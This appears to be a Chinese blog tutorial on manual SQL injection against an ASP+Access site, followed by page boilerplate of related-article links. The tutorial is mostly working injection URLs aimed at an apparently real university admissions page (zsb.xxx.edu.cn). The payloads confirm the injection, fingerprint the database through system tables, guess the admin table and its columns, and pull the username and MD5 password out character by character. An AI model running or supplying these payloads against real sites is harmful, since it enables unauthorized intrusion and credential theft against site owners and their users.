SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下。高手略过。

我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的。

下面以这个网址为例:

http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=1 返回了正常

http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=2 返回了错误

1=1是一个真,1=2是一假,所以会返回一个正常一个错误。

SQL数据就会变成如下:

select * from 表名 where 字段='24'

或者:

http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='1'

http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='2'

注入存在了,判断数据库是ACC或MSS的,利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,

在WEB环境下有访问权限。对于以下两条语句:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from sysobjects)>0

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from msysobjects)>0

若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

我们提交后两条后都为异常,可以判断为ACC的数据库。

图3。

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from 表名)>0

如果表名存在就会返回正常,反页错误。

刚开始我提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from admin)>0

返回错误,说明不存在ADMIN这个表,当后来提交这个返回正常:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from article_admin)>0

说明存在article_admin这个表。

猜列名:

and (select count(字段名) from article_admin)>0

提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(username) from article_admin)>0

返回了正常,接着提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(password) from article_admin)>0

返回了正常,说明存在username和password这两个字段名。

猜用户名和密码长度;

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(username) from article_admin)=5

返回正常,说明username内容长度为5

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(password) from article_admin)=16

正常,password内容长度为16,也就是MD5的值。

猜用户名和密码内容:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97

返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。

猜第二位把username,1,1改成username,2,1就可以了。

猜密码把username改成password就OK了

ASP+ACCESS手工注入详解的更多相关文章

  1. 安全测试基础-SQL注入详解

    1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...

  2. ASP.NET 操作Cookie详解 增加,修改,删除

    ASP.NET 操作Cookie详解 增加,修改,删除 Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密).定义于RFC2109.它 ...

  3. ASP.NET 运行时详解 揭开请求过程神秘面纱

    对于ASP.NET开发,排在前五的话题离不开请求生命周期.像什么Cache.身份认证.Role管理.Routing映射,微软到底在请求过程中干了哪些隐秘的事,现在是时候揭晓了.抛开乌云见晴天,接下来就 ...

  4. ASP.NET运行时详解 集成模式和经典模式

    遗留问题 在<ASP.NET运行时详解 生命周期入口分析>中遗留两个问题,包括Application的InitInternal方法执行细节.IIS6和II7经典模式请求管道管理类Appli ...

  5. ASP.NET生命周期详解

    最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多处理流程,如管道事件等 ...

  6. ASP.NET生命周期详解 [转]

    最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多处理流程,如管道事件等 ...

  7. ASP.NET生命周期详解(转)

    看到好文章需要分享. 最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多 ...

  8. 如何利用IIS调试ASP.NET网站程序详解

    如何利用IIS调试ASP.NET网站程序详解 更新时间:2019年01月13日 08:44:13   作者:江湖逍遥    我要评论   这篇文章主要给大家介绍了关于如何利用IIS调试ASP.NET网 ...

  9. 手工注入——access手工注入实战和分析

    今天进行了access手工注入,下面是我的实战过程和总结. 实战环境使用的是墨者学院的在线靶场.下面咱们直接进入主题. 第一步,判断注入点 通过‘ 或者 and 1=1 和 and 1=2 是否报错, ...

随机推荐

  1. php基础27:文件写入

    <?php //1.打开一个文件 /* 第一个参数:打开的文件,第二个参数表明模式,w只写 如果打开的文件已经有了,那么删除这个文件,重新创建 如果没有,直接创建 fopen返回的是资源类型re ...

  2. scrapy 爬取自己的博客

    定义项目 # -*- coding: utf-8 -*- # items.py import scrapy class LianxiCnblogsItem(scrapy.Item): # define ...

  3. File的保存与读取

    import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io ...

  4. Android -- Scroller

    Android里Scroller类是为了实现View平滑滚动的一个Helper类.通常在自定义的View时使用,在View中定义一个私有成员mScroller = new Scroller(conte ...

  5. [CareerCup] 8.10 Implement a Hash Table 实现一个哈希表

    8.10 Design and implement a hash table which uses chaining (linked lists) to handle collisions. 这道题让 ...

  6. TableCell高度的控制

    TableCell高度的控制 计算并指定行高rowHeight 强制指定:self.tableView.rowHeight = 88 或实现UITableViewDelegate.tableView( ...

  7. 8.HBase In Action 第一章-HBase简介(1.2.2 捕获增量数据)

    Data often trickles in and is added to an existing data store for further usage, such as analytics, ...

  8. Android--按钮点击事件

    Android中Button的点击事件非常简单,主要是一个内部类的问题 在界面上存在两个按钮和一个文本框,点击不同按钮的时候文本框中显示不同按钮的文字信息 <?xml version=" ...

  9. XP明年就被停止技术支持,这会带来什么?谈谈如何做决策

    XP是MS的一款老牌操作系统,相信大家都不陌生,甚至还有继续使用的人,当然了,在虚拟机里用它也是很好用的,不过,再漂亮的姑娘,也有嫁人的时候,作为XP的父母,MS微软明年四月将停止支持有十多年历史的 ...

  10. 理解C#泛型

    在C# 2.0中引入了泛型,泛型的出现解决了编码中的很多问题.相信大家一定经常用到"System.Collections.Generic"命名空间中的泛型集合类("Gen ...